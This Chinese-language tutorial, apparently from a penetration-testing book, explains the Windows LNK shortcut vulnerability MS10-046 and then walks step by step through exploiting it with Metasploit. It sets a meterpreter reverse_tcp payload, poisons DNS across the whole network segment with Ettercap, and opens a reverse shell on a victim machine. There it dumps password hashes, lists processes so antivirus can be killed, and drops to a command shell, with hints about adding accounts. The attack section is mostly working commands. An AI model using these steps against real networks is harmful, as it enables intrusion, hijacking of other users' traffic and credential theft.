Metasploit Framework應用實例:代碼漏洞攻擊
Microsoft Windows快捷方式LNK文件自動執行代碼漏洞攻擊(MS10-046)
Metasploit Framework軟件介紹及下載:http://netsecurity.51cto.com/art/201106/268429.htm
◆漏洞描述
1、漏洞定義
Windows支持使用快捷方式或LNK文件。LNK文件是指向本地文件的引用,點擊LNK文件與點擊快捷方式所指定的目標具有相同的效果。
Windows沒有正確地處理LNK文件,特制的LNK文件可能導致Windows自動執行快捷方式文件所指定的代碼。這些代碼可能位于USB驅動、本地 或遠程文件系統、光驅或其他位置,使用資源管理器查看了LNK文件所在位置就足以觸發這個漏洞。默認下Windows啟動了自動加載和自動播放功能,因此 在連接可移動設備(如USB閃存)后Windows會自動打開資源管理器。其他顯示文件圖標的應用也可用作這個漏洞的攻擊載體。受影響的Windows系統如下表1所示:
表1
漏洞名稱 |
受影響的Windows系統類型 |
MS10-046 |
Microsoft Windows XP SP3 |
Microsoft Windows XP SP2 |
|
Microsoft Windows |
|
Microsoft Windows |
|
Microsoft Windows Server 2008 |
|
Microsoft Windows Server 2008 SP2 |
|
Microsoft Windows Server 2008 R2 |
|
Microsoft Windows Server 2003 SP2 |
|
Microsoft Windows 7 |
2、關于補丁
Microsoft已經為此發布了一個安全公告(MS10-046)以及相應補丁:
MS10-046:Vulnerability in Windows Shell Could Allow Remote Code Execution (2286198),其詳細說明文檔的鏈接如下:
http://www.microsoft.com/china/technet/security/bulletin/MS10-046.mspx
此安全更新解決了Windows Shell 中一個公開披露的漏洞。 如果顯示特制的快捷方式圖標,則該漏洞可能允許遠程執行代碼。成功利用此漏洞的攻擊者可以獲得與本地用戶相同的用戶權限。除了使用Windows系統自帶的自動更新來升級補丁外,也可以使用360安全衛士之類的第三方工具來實現。#p#
◆攻擊操作
接下來,我們開始使用Metasploit3進行溢出攻擊,下面為詳細步驟。
步驟1:進入Metasploit,載入攻擊代碼。
作為攻擊者而言,首先是進入Metasploit。除了從菜單上直接點選進入Metasploit外,我們也可以在圖形界面下打開任意一個Shell,直接輸入msfconsole命令來進入Metasploit。如下圖-1所示,可以看到當前包含代碼數量、參數狀態及最新版本等。
圖-1
命令如下:
search ms10_046
回車后即可看到如下圖-2所示的搜索結果,顯示存在一個名為"ms10_046_shortcut_icon_dllloader"的可用攻擊代碼。接下來,就可以載入該攻擊代碼,具體命令如下:
use windows/browser/ms10_046_shortcut_icon_dllloader
回車后如下圖所示,就載入了該攻擊代碼。
圖-2
在使用一個攻擊代碼前,需要先查看其必需的設置參數有哪些,所以先要輸入如下命令:
show options
回車后即可看到該攻擊代碼的設置參數,如下圖-3所示,在圖中間可以看到SRVHOST、SRVPORT、URIPATH這三個參數是必須的,其中,SRVPORT和URIPATH是已經默認設置好的。
圖-3 #p#
步驟2:在Metasploit3上配置攻擊代碼。
既然知道了必需的配置參數,接下來就可以使用set命令來依次配置參數。其中,設置溢出有效載荷為反向溢出,而為了使用到Metasploit中的具備強化Shell功能的Meterpreter,所以設置為PAYLOAD為windows/metepreter/reverse_tcp此外,由于后面攻擊者還要使用ettercap對目標進行DNS欺騙攻擊,所以攻擊者應要將反彈端口的目的地設置為自身IP,即設置LHOST為自身IP。最后,使用exploit執行溢出。具體命令如下:
set SRVHOST 攻擊者自身IP
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 攻擊者自身IP
exploit
依次輸入回車后如下圖-4所示,會顯示為啟用一個URL地址為http://10.23.0.3:80,對應一個共享目錄\\10.23.0.3\owhBPhxMJ\。
圖-4 #p#
步驟3:配置EtterCap,執行DNS欺騙攻擊。
關于DNS欺騙攻擊會使用到Ettercap,這款工具的操作可以參考本書12章12.1節內容。不過在使用Ettercap進行DNS欺騙攻擊之前,我們先修改一下Ettercap的dns模塊,即修改/usr/share/ettercap/etter.dns文件,格式為添加*.com、*.net、*.org及*.cn的解析指向為10.23.0.3。具體命令如下:
nano /usr/share/ettercap/etter.dns
cat /usr/share/ettercap/etter.dns
執行效果如下圖-5所示。
圖-5
修改etter.dns完畢后,就可以開啟ettercap進行DNS欺騙攻擊了,具體命令如下:
ettercap -T -q -i eth0 -P dns_spoof // //
參數解釋:
-T 使用文字界面,建議不喜歡 GUI模式的朋友使用;
-q 指quiet模式,就是讓Ettercap表現得安靜些,少些不必要的文字報告;
-i 后跟網卡名稱,這里就是eth0;
-P 后跟需要載入的插件,這里就是dns_spoof插件;
// 指代任意MAC地址、任意IP地址,即全網段。
回車后即可看到如下圖-6所示。此時的Ettercap開始對當前網段實施DNS欺騙攻擊。
圖-6
步驟4:收到反向溢出Shell,侵入目標主機。
此時,在目標主機(也可認為是受害者,采用Windows XP SP3系統,IP地址為10.23.0.4)上打開瀏覽器,輸入網址http://google.com并回車,如下圖-7所示,會發現瀏覽器的響應會變得緩慢。
圖-7
稍等數秒后,我們會發現在目標主機上的瀏覽器上原本應顯示為Google的主頁,突然變成了一個名為\\10.23.0.3\owhBPhxMJ的共享目錄。如下圖-8所示。
圖-8
而此時,在攻擊者的主機上,在開啟EtterCap命令的Shell下,也同時出現了一些域名的請求被攔截及被同步欺騙到10.23.0.3上,如下圖-9所示,能看到一個向google.com的域名解析請求被EtterCap攔截并重定向到10.23.0.3上。
圖-9
回到Metasploit的Shell下,就會看到當DNS欺騙導致的重定向發生后,受害者被強制運行了攻擊者主機即10.23.0.3上Metasploit執行的漏洞攻擊代碼。于是在成功溢出后,攻擊者拿到了一個反向溢出Shell。如下圖-10所示,黑框中標出的即可獲取到一個Meterpreter Session。
圖-10
此時,攻擊者可以使用Ctrl+C中斷一下攻擊代碼的實時顯示,輸入back命令回到Metasploit的根目錄后,就可以使用session查看這個反向溢出Shell的ID號,然后再調用該ID即可。具體命令如下:
sessions
sessions -i 1
參數解釋:
-i num 該參數用于調用不同ID號的成功溢出Shell,后跟的num為ID號。如下圖-11所示,顯示的當前可用Session只有1個,即成功溢出10.23.0.4后獲得的Shell。
依次輸入上述命令,就可以成功調用該反向溢出Shell。如下圖-11所示,由于之前設置為Metasploit內置的特殊Shell-Meterpreter,所以此時會看到提示符從"msf"變成了"meterpreter"。
圖-11 #p#
步驟5:入侵后在目標主機執行命令。
為了方便安全滲透測試人員可以更深入地研究漏洞的危害性,強化了的Meterpreter里也內置了大量的工具及命令。舉幾個例子:
ps 列出當前運行的全部程序
如下圖-12所示,輸入ps回車后會顯示出該Windows上當前運行的全部程序進程,攻擊者將根據需要使用kill來殺掉某個進程,比如殺毒軟件。
圖-12
為了擴展一下思路,我們再來看看如何獲取受害者主機上的密碼Hash。具體命令如下:
use priv 使用特權工具
hashdump 獲取Windows所有用戶密碼Hash值
依次輸入上述命令然后回車后就可看到如下圖-13所示內容,攻擊者成功地獲取到了目標主機上的全部用戶列表及對應的密碼Hash表。這個Hash表的內容只要導入Ophcrack之類的工具中就可以輕松地破解,而關于Ophcrack的具體使用大家可以參考本書的10.1節,這里就不再重復描述。
圖-13
當然,可能有的朋友要說,在這個meterpreter里面很難輸入Windows命令。哦,是的,貌似是這樣,但是沒關系,我們可以很容易地解決這個小問題。只要輸入shell這個命令,攻擊者就能夠進入到目標主機的CMD界面中。
如下圖-14所示,只需要駛入shell,回車后攻擊者就可以進入到CMD的界面中,在這個界面里任何CMD下支持的命令都可以執行,比如使用ipconfig來顯示當前IP地址。如下圖-14所示,我們確實看到當前IP顯示為10.23.0.4,對,我們現在就在受害者的主機里。至于添加賬戶之類的命令就由小黑們按照想法自行使用啦。
圖-14
好了,到這里,Metasploit3的基本使用,我想大家都已經學會了。